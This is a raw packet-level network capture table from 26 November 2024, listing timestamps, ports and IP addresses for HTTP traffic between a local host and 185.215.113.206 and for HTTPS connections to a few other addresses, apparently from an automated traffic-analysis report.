Nov 26, 2024 01:41:43.599648952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:43.600586891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:43.600642920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:43.600691080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:43.740968943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:43.765517950 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:43.773643970 CET	49876	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:43.773685932 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:43.774456978 CET	49876	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:43.774461985 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:43.860913992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:43.866278887 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:43.908505917 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:43.912836075 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.912883997 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:43.913044930 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.913167000 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.913192987 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:43.913286924 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.913320065 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.913321972 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:43.913588047 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.913774967 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.913834095 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:43.913866043 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.913875103 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:43.913889885 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.913916111 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.914275885 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.914293051 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:43.914470911 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:43.919444084 CET	443	49881	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:43.960298061 CET	443	49875	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:43.960369110 CET	443	49875	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:43.960479021 CET	49875	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:43.972522020 CET	49881	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:44.015353918 CET	443	49880	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:44.028832912 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.060811996 CET	49880	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:44.076345921 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.098129988 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.140269995 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.192281008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.192378044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.192476988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.192806005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.192838907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.192838907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.192872047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.193892002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.193943977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.193999052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.194040060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.194984913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.195040941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.195328951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.195372105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.195415020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.195453882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.196400881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.196513891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.196557045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.197500944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.197546005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.197619915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.197660923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.198575974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.198628902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.198636055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.198663950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.199680090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.199717999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.199780941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.199817896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.200738907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.200891018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.200932980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.201852083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.201894045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.201973915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.202034950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.202934980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.202976942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.203013897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.203069925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.204030037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.204080105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.204108000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.204145908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.205120087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.205224037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.205270052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.206196070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.206240892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.206248999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.206279039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.207309961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.207364082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.207416058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.207454920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.208364964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.208414078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.208470106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.209467888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.209516048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.209563971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.209604979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.210553885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.210596085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.210668087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.210706949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.211626053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.211674929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.211724043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.211771965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.212728977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.212840080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.212894917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.213824987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.213893890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.213928938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.213970900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.214895964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.214967012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.215001106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.215037107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.216013908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.216093063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.216123104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.216166019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.217083931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.217189074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.217242956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.218183994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.218229055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.218271017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.218312979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.219187021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.219230890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.220257998 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.220324039 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.220408916 CET	49876	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.321415901 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:44.321436882 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:44.321732998 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:44.321753979 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:44.322041988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.322129011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.322141886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.322175026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.322407961 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:44.322427988 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:44.322566986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.322639942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.322643995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.322671890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.322979927 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:44.323008060 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:44.323456049 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:44.323470116 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:44.323649883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.323697090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.323710918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.323759079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.324127913 CET	49881	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:44.324142933 CET	443	49881	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:44.324616909 CET	443	49881	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:44.324749947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.324857950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.324913025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.325841904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.325906992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.325937033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.325949907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.326920033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.326994896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.327023983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.327064037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.328007936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.328126907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.328161001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.328176975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.328334093 CET	49880	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:44.328350067 CET	443	49880	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:44.328692913 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:44.328711987 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:44.328903913 CET	443	49880	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:44.329111099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.329163074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.329199076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.329256058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.330198050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.330246925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.330297947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.330338955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.330826044 CET	49881	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:44.330945969 CET	443	49881	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:44.331281900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.331398964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.331403017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.331435919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.331922054 CET	49880	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:44.331993103 CET	443	49880	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:44.332364082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.332407951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.332452059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.332515001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.333451033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.333498955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.333585024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.333663940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.334549904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.334604979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.334649086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.334814072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.335645914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.335695028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.335736036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.335772991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.336729050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.336786032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.336822987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.337038040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.337816954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.337888002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.337923050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.337966919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.338936090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.338979006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.339029074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.339068890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.340020895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.340080023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.340116024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.340157986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.341087103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.341176033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.341202974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.341216087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.342160940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.342272997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.342283010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.342309952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.343249083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.343377113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.343393087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.343421936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.344345093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.344405890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.344446898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.344521999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.345439911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.345511913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.345582008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.345623970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.346524000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.346590042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.346632957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.346676111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.347636938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.347698927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.347712994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.347759962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.348747969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.348871946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.348917007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.349790096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.349849939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.349896908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.350061893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.350872040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.350920916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.351030111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.351160049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.351959944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.352015018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.352062941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.352104902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.353012085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.353104115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.356487036 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.356507063 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.357683897 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.357688904 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.359158039 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.359169006 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.359658003 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.359662056 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.359873056 CET	49876	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.359889030 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.359899998 CET	49876	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.359905958 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.363230944 CET	49875	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.363249063 CET	443	49875	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.363679886 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.363691092 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.364234924 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.364243031 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.376993895 CET	49880	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:44.377455950 CET	49881	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:44.393460989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.393522024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.393538952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.393573999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.393774986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.393819094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.393915892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.393965960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.394886017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.394922018 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.394963980 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.394983053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.394996881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.395050049 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.395205975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.395947933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.396012068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.396132946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.396132946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.396552086 CET	49889	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.396589041 CET	443	49889	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.396651983 CET	49889	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.396713018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.396768093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.396816969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.396855116 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.396873951 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.396903992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.397402048 CET	49889	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.397418022 CET	443	49889	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.397809982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.397864103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.397907972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.397954941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.398899078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.398963928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.399018049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.399065018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.399981022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.400084972 CET	49813	80	192.168.2.6	185.215.113.206
